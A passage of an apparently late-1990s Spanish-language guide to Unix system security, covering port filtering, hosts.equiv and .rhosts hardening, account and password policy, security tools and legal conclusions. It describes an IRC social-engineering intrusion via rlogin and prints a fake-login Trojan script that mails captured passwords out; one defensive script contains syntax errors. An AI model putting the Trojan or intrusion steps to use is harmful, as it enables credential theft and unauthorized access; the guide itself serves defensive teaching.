Existen asimismo sistemas de identificación que permiten conocer la identidad del sujeto infractor, como las bases de datos WHOIS o los mecanismos para establecer el origen de un mensaje analizando su cabecera

y ruta seguida, bases de datos en que los sujetos registran voluntariamente sus datos o incluso se puede identificar al sujeto a través de su nickname.

Se exige la inmediata puesta a disposición judicial de aquellas grabaciones en las que se hayan captado indicios de la comisión de un ilícito penal.

A pesar de la existencia de estos mecanismos también se dan dificultades, ya que los medios técnicos son insuficientes y aún no se ha producido una especialización para la investigación de este tipo de delitos.

Una vez visto la manera de actuar de los hackers así como el marco legal por donde nos movemos pasaremos a una descripción técnica de cómo proceder para proteger los sistemas (a nivel red, cuentas y sistema) y como utilizar programas para evaluar nuestra situación cuando se plantean problemas derivados de ataques de hackers.

# 4.- PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE RED

A nivel de red, la seguridad es uno de los principales problemas debido a que si un equipo pertenece a una, el acceso a este puede ser desde cualquier parte.

Las maneras más frecuentes de atacar son: el empleo de herramientas de escaneo de puertos para la comprobación de vulnerabilidades en los equipos, y la denegación de servicios en servidores, debidos al empleo de generadores de datagramas IP erróneos o complicados de procesar.

## 4.1.- FILTRADO DE PAQUETES

El filtrado de paquetes es debido a los fallos en varios servicios TCP/IP así como en la existencia de protocolos defectuosos. Por tanto sólo en aquellos servicios que deban estar accesibles desde fuera del área local serán permitidos a través de los filtros en routers. Estos filtros deberán permitir las condiciones de acceso a dichos servicios. Aunque cada red es un mundo, a continuación se muestran una serie de servicios que se deberían de filtrar:

| NOMBRE | PUERTO | TIPO DE CONEXIÓN | SERVICIO |
|---|---|---|---|
| Echo | 7 | Tcp/udp | Devuelve los datos que se reciben |
| Sysstat | 11 | Tcp | Información del equipo |
| Netstat | 15 | Tcp | Información sobre la red |
| Chargen | 19 | Tcp/udp | Generador de caracteres continuo |
| SMTP | 25 | Tcp | Correo |
| Domain | 53 | Tcp/udp | DNS |
| Bootp | 67 | Udp | Arranque de estaciones remotas sin disco |
| Tftp | 69 | Udp | Arranque de equipos remotos asi como carga de configuraciones |
| Sunrpc | 111 | Tcp/udp | Portmapper |
| News | 144 | Tcp | Servidores de news |
| Snmp | 161 | Udp | Gestión remota de equipos |
| Exec | 512 | Tcp | Ejecución remota de comandos (rexec) |

| | | | |
|---|---|---|---|
| Login | 513 | Tcp | Acceso remoto al sistema |
| Shell | 514 | Tcp | Shell remoto |
| Who | 513 | Udp | Información sobre los usuarios conectados |
| Syslog | 514 | Udp | Almacenamientos de los log |
| Route | 520 | Udp | Información sobre los enrutamientos |
| NFS | 2049 | Tcp/udp | Sistemas de ficheros remotos |
| X-Windows | 6000 + n | Tcp | Servidor X-Windows siendo n el numero máximo de servidores X que puede tener |

## *4.2.- COMANDOS REMOTOS*

Es recomendable que si no necesita utilizar los comandos remotos que los deshabilite debido a que puede aumentar el riesgo de ser atacado. Para realizar dicha tarea basta con editar el fichero /etc/inetd.conf y poner al principio de la línea "#" con lo cual dicha línea queda convertida en un comentario. Para rearrancar el demonio basta con teclear *killall –HUP inetd.*

Si no queda más remedio que utilizarlos se recomienda utilizar las versiones más seguras. Por ejemplo el paquete de Wietse Venema, uno de los más seguros, que puede ser configurado para consultar sólo el fichero /etc/hots.equiv y no el $HOME/.rhosts. También dicho paquete incorpora la opción de desactivar "+" el cual es un comodín utilizado para decirle al sistema que todo equipo puede accederle remotamente. Es también aconsejable el ssh o el uso de tcp-wrapper para proporcionar una monitorización del acceso a estos servicios.

El fichero /etc/hosts.equiv puede ser usado por el administrador para decirle al sistema operativo que equipos están autorizados, por tanto cuando un usuario intenta entrar en el sistema usando remotamente (rlogin, rsh, etc.) desde un equipo listado en dicho fichero y el usuario tiene una cuenta en el sistema con el mismo login, el acceso es permitido sin ninguna contraseña. Esto evitará que accedan a un servidor hackeando desde el IRC (esto solo funcionaba con maquinas Unix). Dicha invasión consistía en varios pasos: el

primero era hacer un /whois #un_canal_con_bastante_gente para encontrar alguien que se conecte desde un sistema Unix, segundo si hay alguien conectado será la víctima para ello intentaremos hablarle en privado, tercero mandarle un fichero por DCC (“leeme.irc” dicho fichero tendrá unos comandos los cuales permiten el acceso al servidor sin ningún problema), cuarto el tendrá que teclear “*/load leeme.irc*” y por último ejecutamos “*rlogin equipo_de_la_victima.es –l login_de_la_victima*”. Con esta secuencia entraríamos dentro de la maquina con su cuenta, sin más dificultad que tener imaginación para que tecleé “*/load leeme.irc*”, y si por último cambiamos nuestro módem a una determinada paridad y hacemos telnet a ese ordenador accederemos cuando alguien intente conectarse en su lugar.

### *4.3.- /etc/hosts.equiv*

Como antes se ha mencionado el fichero /etc/hosts.equiv lo utiliza el sistema para autentificar que equipos están autorizados para entrar en él.

Si tiene dicho fichero debe asegurarse de:

- que los permisos de dicho fichero son 600
- que el propietario es root
- que solo hay un número limitado de equipos
- introducir el nombre completo de la maquina, es decir “*afrodita.ipf.net*”
- asegúrese de no tener el carácter “+” en ningún lugar ya que permite el acceso a cualquier equipo
- tener cuidado en no utilizar los caracteres “!” ó “#” ya que en este fichero no hay ningún comentario

- asegúrese que el primer carácter no es un “-“

- utilizar grupos de red para una administración más sencilla si utiliza NIS ó NIS+

Un ejemplo del fichero /etc/hosts.equiv sería:

*afrodita.ipf.net*
*atenea.ipf.net*
*esper.ipf.net*
*-@alum*
*+@prof*

con este ejemplo autorizamos a los equipos afrodita, atenea y esper que están en el dominio *ipf.net*. Además también autorizamos a todos los equipos que pertenezcan al grupo de red “prof”, pero en cambio negamos el acceso a todos los que pertenezcan al grupo de red “alum”.

### *4.4.- $HOME/.rhosts*

El fichero $HOME/.rhosts no es recomendable permitirlo, como antes se mencionaba. Aunque sí se permite tiene que tener en cuenta que:

- los permisos de dicho fichero son 600

- el propietario es el mismo usuario de la cuenta

- no contenga el carácter “+” en ningún lugar debido a que permite el acceso de cualquier equipo en dicha cuenta
- no contenga los caracteres “!” ó “#” ya que en este fichero no hay ningún comentario

- el primer carácter no es un “-“

Observe que la política de seguridad es muy parecida a la del fichero /*etc/hosts.equiv*. Un ejemplo de un script que detecte y borre automáticamente todos los ficheros $HOME/.rhosts sería:

```
#!/bin/sh
# buscador de ficheros .rhosts en los directorios /home

PATH=/usr/bin

for user in $(cat passwd | awk –F: 'length($6) > 0 {print $6}' | sort –u)
do
        [[ -f $user/.rhosts ]] | | continue
        rm –f  $user/.rhosts
        print "$user/.rhosts ha sido borrado"
done
```

## 4.5.- /etc/hosts.lpd

El fichero /etc/hosts.lpd permite a los equipos incluidos en él utilizar la impresora de nuestro equipo. Por tanto es aconsejable que se asegure de que:

- que los permisos de dicho fichero son 600
- que el propietario es root
- que solo hay un número limitado de equipos
- introducir el nombre completo de la maquina, es decir "*afrodita.ipf.net*"
- asegúrese de no tener el carácter "+" en ningún lugar ya que permite el acceso a cualquier equipo

- tener cuidado en no utilizar los caracteres “!” ó “#” ya que en este fichero no hay ningún comentario

- asegúrese que el primer carácter no es un “-“

### *4.6.- Servicios de red*

El concepto de servicio es ligeramente diferente al concepto de recurso. Una máquina puede proporcionar muchos recursos en forma de impresora que proporciona a usuarios remotos, pero todos ellos acceden al equipo por medio de un servicio: lprd

#### *4.6.1.- /etc/inetd.conf*

El fichero /etc/inetd.conf es el fichero de configuración del demonio inetd. El inetd está “a la escucha” de conexiones, es decir se puede decir que escucha en varios puertos en el sentido que administra todos los puertos. Dicho fichero debe verificar que:

- los permisos están a 600

- el propietario es root

- desactive cualquier servicio que no se necesite

- es recomendable desactivar todos los servicios remotos y tftp para mayor seguridad. Para que los cambios hagan efecto hay que reiniciar el demonio con el comando *killall –HUP inetd*

#### *4.6.2.- /etc/services*

El archivo /etc/services contiene una lista de los servicios que puede proporcionar un equipo. Debe verificar que:

- los permisos están a 644

- el propietario es root

### *4.7.- Terminales seguros*

Este archivo se encuentra ubicado en /etc/security, /etc/ttys ó /etc/default/login y nos permite configurar que terminales no son seguros para entrar en el equipo con la cuenta root. Hay que fijarse que:

- los permisos están a 644

- el propietario es root

- la opción secure está desactivada de todas las entradas que no utilice el administrador

Un ejemplo de este fichero seria:

```
console  "/usr/etc/getty std.9600"   unknown   off   secure
ttyb     "/usr/etc/getty std.9600"   unknown   off   secure
ttyp0    none                        network   off   secure
```

la opción secure al final de cada línea significa que el terminal es considerado seguro.

# 5.- PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE CUENTAS

Una de la manera más sencilla de hackear un equipo es irrumpiendo en la cuenta de alguien. Esto normalmente es fácil de conseguir, gracias a las cuentas viejas de usuarios que han dejado la organización con contraseñas fáciles de descubrir. También se pueden conseguir con el aprovechamiento de fallos de seguridad en ciertas aplicaciones o incluso utilizando Caballos de Troya normalmente enmascarados en el programa /bin/login. Un ejemplo de un Caballo de Trolla sería:

```
echo "login: \c"
read lgin
echo off (o tambien "stty –noecho" dependiendo del sistema)
echo "Password:\c"
read pw
echo on
echo "Login: $lgin – Pasword: $pw" | mail direccion_de_correo
```

A continuación se mostraran algunos métodos para evitar estos problemas

## 5.1.- Las contraseñas

Una buena contraseña es la base de una buena defensa contra el abuso de confianza de los administradores, es decir con una mala contraseña permitimos un fácil acceso a cualquier persona hostil. Para obtenerla basta con crearla a partir de por dos o tres partes de palabras separadas entre si por un carácter especial, que tengan letras mayúsculas y minúsculas intercaladas y que tengan como mínimo cinco caracteres. Otra manera bastante sencilla es a partir de una frase y escogiendo las iniciales de cada palabra intercalando algún carácter especial. Por ejemplo ¿A qué hora hemos quedado ayer?, la contraseña sería "*aqh.hq#a*". Las malas contraseña son aquellas que:

- tengan el mismo login

- tengan algún apellido del usuario de la cuenta
- tengan el nombre de los hijos, la mujer, la novia
- tengan la matricula del coche, moto, etc
- tengan todos sus caracteres números (D.N.I.)
- pertenezcan al diccionario
- tengan menos de 5 caracteres

## *5.2- Administración*

Hay unos pasos que hay que seguir regularmente después de crear las cuentas. Dichos pasos son:

- buscar las cuentas que no hayan sido utilizadas durante al menos 6 meses. Mandarle un e-mail y si no contesta borrar la cuenta
- comprobar asuidamente el fichero /etc/passwd que no contenga ninguna cuenta el UID igual a 0 (pertece a root)
- muestre la información a los usuarios de la última vez que se conecto para que puedan detectar si otra persona ha utilizado su cuenta
- informar a los usuarios que no almacenen información sobre su cuenta en archivo de texto y mucho menos la envien por correo
- comprobar que todas las cuentas tienen contraseña, para ello basta con ejecutar un pequeño script como el que se muestra a continuación

```
#!/bin/sh
# buscador cuentas sin contraseñas en el fichero /etc/passwd
awk –F: 'NF !=7 || $2 == 0 { print "Hay un problema con: "$0}' /etc/passwd
```

- monitorizar las accesos aceptados y los no de los intentos del comando "*su*"

- comprobar por los intentos fallidos que se respetan a la hora de entrar en el sistema

- considerar las cuotas en las cuentas que no las tenga

- todos los usuarios deberían utilizar las cuenta con sólo los privilegios necesarios para realizar sus tareas asignadas

- hacer copias de seguridad del directorio /*home*

### *5.3.- Las cuentas especiales*

- comprobar que no hay cuentas compartidas

- no agregar cuentas invitado

- crear grupos especiales para restringir que usuarios pueden ser root

- desactivar las cuentas sin contraseña
- poner las cuentas del sistema (root, bin, uucp, ingres, daemon, news, nobody) en el fichero /etc/ftpuser

### *5.4.- La cuenta de superusuario (root)*

- no entre como root por la red, es decir por medio de cualquier acceso remoto

- los usuarios administrativos necesitan dos cuentas: una con privilegios de superusuario y la otra con privilegios limitados para utilizar para el resto de las actividades

- restrinja el número de personas que sepa la cuenta de root

- cambie la contraseña cada semana

- no puede estar el fichero .rhosts en el directorio /*root*

- no ejecute ficheros que no tengan como propietario a root y que no puedan ser escritos por nadie

- hacer uso de path completos, es decir /bin/su, /bin/passwd

# 6.- PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE SISTEMA

Comprobar por los agujeros de seguridad en los ficheros del equipo es otra parte importante para conseguir un equipo seguro. Unas reglas básicas son:

- asegúrese de que el equipo no tenga ningún fichero *.exrc*, sobre todo en la cuenta de superusuario (root).

- considere usar la variable *EXINIT* para desactivar dicho fichero

- asegúrese que ningún fichero *.forward* sea un script para ejecutar un programa no autorizado

- establezca en el fichero /*etc*/*profile* el *umask* para los usuarios lo más restrictiva posible (022, 033 ó 077). La máscara de root deberia ser 077

- asegúrese de borrar todo lo que haya en el directorio /tmp al iniciar los demonios locales

- revise en el directorio de root (/*root*/) los ficheros de inicialización (*.profile*, *.login*, *.cshrc*, etc) y que no esté el comando path o la variable de entorno *PATH* con el directorio “.”

- compruebe en el directorio /*root*/ que no hay el fichero .rhosts

- compruebe que referencia el fichero /*root*/*.profile*, /*root*/*.login* ó /*root*/*logout*. Si referencia algún archivo compruebe a que tipo de archivo hace referencia y qué hace

- asegúrese que root es el propietario del kernel (/*vmlinux*) y que tiene los permisos 644

- asegúrese que root es el propietario de /*etc*, /*usr*/*etc*, /*bin*, /*usr*/*bin*, /*sbin*, /*usr*/*sbin*, /*tmp* y /*var*/*tmp*

- compruebe que los fichero con el bit SUID o SGID son los que debería ser

- considere borrar el acceso a lectura de los ficheros que los usuarios no necesitan tener acceso

- evitar que el correo root se acumule sin que sea leido. Utilice el fichero /root/.foward para redirigirlo

- Se recomienda el uso de *ssh* al root para evitar posibles escuchas en la red o cualquier otro programa de encriptación de contraseñas. Dicho programa se puede encontrar en *http://www.cs.hut.fi/ssh/*

Otra cosa que hay que tener en cuenta son las copias de seguridad. Para las copias de seguridad recomendable que se guíe con esta política:

- No deje los soportes de las copias de seguridad en los dispositivos de copia de seguridad donde puedan ser robados

- Encripte las copias si la información es sensible

- Utilice métodos de rotación de cintas y almacene las copias fuera del lugar habitual del equipo

- Realice simulaciones periódicas de recuperación de datos para comprobar la integridad de las copias de seguridad así como los procedimientos de copia de seguridad y restauración

- Documente las copias de seguridad

# 7.- CARACTERISTICAS DE PROGRAMAS RECOMENDABLES

Nos podemos encontrar infinidad de programas que nos ayuden a aumentar la seguridad. A título de ejemplos, a continuación se nombraran algunos de ellos y sus principales características:

- Crack: es un programa que permite craquear las contraseñas del fichero de claves. Esta diseñado para que los administradores los usen para detectar que usuarios no tienen contraseñas seguras.

- COPS, Tiger y SATAN (Security Administrator Tool for Analysing Networks): estas aplicaciones identifican los problemas más comunes en seguridad y en la configuración.

- Tcp-wrapper: se trata de una aplicación que proporciona una serie de mecanismos para el registro y filtro de aquellos servicios invocados o llamados a través del demonio inetd. Con esta herramienta el administrador posee un control absoluto de las conexiones hacia y desde su equipo. Además el administrador es informado en todo momento y con todo lujo de detalles de las conexiones que se han hecho desde su máquina y hacia su maquina con cualquiera de los diferentes servicios de internet (telnet, finger, etc).

- Cpm: este programa comprueba que las tarjetas de red no estén trabajando en modo promiscuo. Por tanto es una aplicación que descubre si hay algún sniffer en el equipo.

# 8.- CONCLUSIONES

De la evaluación de lo expuesto podemos obtener las siguientes conclusiones:

1) La base de incremento de seguridad en el equipo y/o sistema es una buena política de contraseñas, debido a que es la parte vital de un sistema multiusuario.

2) Monitorizar las brechas de seguridad es más importante que prevenirlos, ya que es imposible hacer un equipo seguro al 100%, siempre habrá un agujero para acceder al sistema. Por tanto solo al monitorizar se puede detectar la entrada de un hacker y remediarlo.

3) Podemos encontrar bastantes programas en la red para incrementar la seguridad, pero también serán útiles a los hacker para encontrar los agujeros de nuestro máquina.

4) Es conveniente utilizar las últimas versiones de las aplicaciones ya que tendrán los últimos agujeros encontrados subsanados sobre todo para los servicios DNS, WWW, FTP, NFS y NETBIOS. Obviamente tendrán otros agujeros, pero tardaran más en encontrarlos ya que no estarán en Internet.

5) No es recomendable la utilización de un único equipo como servidor para Internet (FTP, correo, DNS, WWW, etc).

6) Es recomendable que exista un responsable definido que se encargue del área de seguridad.

7) En general los equipos que necesiten el empleo de sistemas inseguros de transmisión de claves deberán estar aislados de la red.

8) No es cierto que los ilícitos cometidos a través de las redes informáticas no estén recogidos ni penalizados por la ley. La mayor parte de ellos lo están y pueden ser constitutivos de delito e, incluso, conllevar penas de prisión.

9) Cuando se detecten hechos que pudieran encuadrarse en alguno de los delitos informáticos tipificados, es preceptiva la denuncia de los mismos ante las autoridades competentes.

10) En caso de que se sufran daños derivados de algún hecho ilícito, el perjudicado puede reclamar una indemnización por daños y perjuicios a su autor, aparte de la correspondiente sanción administrativa o penal que le recayere por dicha acción.

# 9.- BIBLIOGRAFIA


Http://www.hispasec.com/

Http://www.rediris.es/

Http://SecurityPortal.com/

Http://www.w3.org/Security/

Http://www.redhat.com/corp/support/errata/

Http://security.debian.rog/

Http://www.suse.de/e/patches/

Http://sunslove.sun.com/

ALVAREZ-CIENFUEGOS SUÁREZ, José María: *"Los delitos de falsedad y los documentos generados electrónicamente. Concepto procesal y material de documento: nuevas técnicas"*. Cuadernos de Derecho Judicial. La nueva delincuencia II. Consejo General del Poder Judicial. Madrid, 1993.

ASSOCIATED PRESS: *"Hackers: Pentagon archives vulnerables"*. Mercury Center, 17 de abril de 1998: http://spyglass1.sjmercury.com/breaking/docs/077466.htm

CORRERA, Michele M. y MARTUCCI, Pierpaolo: *I Reati Comessi con l'uso del computer. Banche dei dati e tutela della persona.* CEDAM (Casa Editrice Dott. Antonio Milani). Padova, 1986.

DAVARA RODRÍGUEZ, Miguel Ángel: *"Derecho Informático"*. Ed. Aranzadi. Navarra, 1993.

DAVARA RODRÍGUEZ, M. A.: *"El documento electrónico, informático y telemático y la firma electrónica"*. Actualidad Informática Aranzadi, nº24, Navarra, julio de 1997.

DRAGO, Mirta: *"Hispahack: tres «cerebros» desactivados"*. El Mundo del siglo XXI. Madrid, 4 de abril de 1998.

HANCE, Olivier: *Leyes y Negocios en Internet*, McGraw-Hill, México 1996.

LOPES ROCHA, Manuel y MACEDO, Mario: *Direito no Ciberespaço*, Ediçoes Cosmos, Lisboa 1996.

MOYNA MÉNGUEZ, José y otros: *"Código Penal"*. 2ª Edición. Ed. Colex. Madrid, 1996.

PÉREZ LUÑO, A. E.: *Nuevas tecnologías, sociedad y Derecho. El impacto sociojurídico de las N. T. de la información*, Fundesco, Madrid 1987.

PÉREZ LUÑO, A. E.: *Manual de Informática y Derecho*, Ariel, Barcelona 1996.

PIETTE-COUDOL, Thierry et BERTRAND, André: *Internet et la Loi*, Dalloz, Paris 1997.

QUINTERO OLIVARES, Gonzalo y otros: *"Comentarios al Nuevo Código Penal"*. Ed. Aranzadi. Navarra, 1996.

SANZ LARRUGA, F.J.: *El Derecho ante las nuevas tecnologías de la Información*, nº1 del Anuario de la Facultad de Derecho da Universidade da Coruña (1997), pp. 499-516.

SEMINARA, Sergio: *La piratería su Internet e il diritto penale.* AIDA, 1996.

SERRA, Carlo y STRANO, Marco: *Nuove Frontiere della Criminalità. La crimitalitá tecnologica.* Giuffrè Editore. Milán, 1997.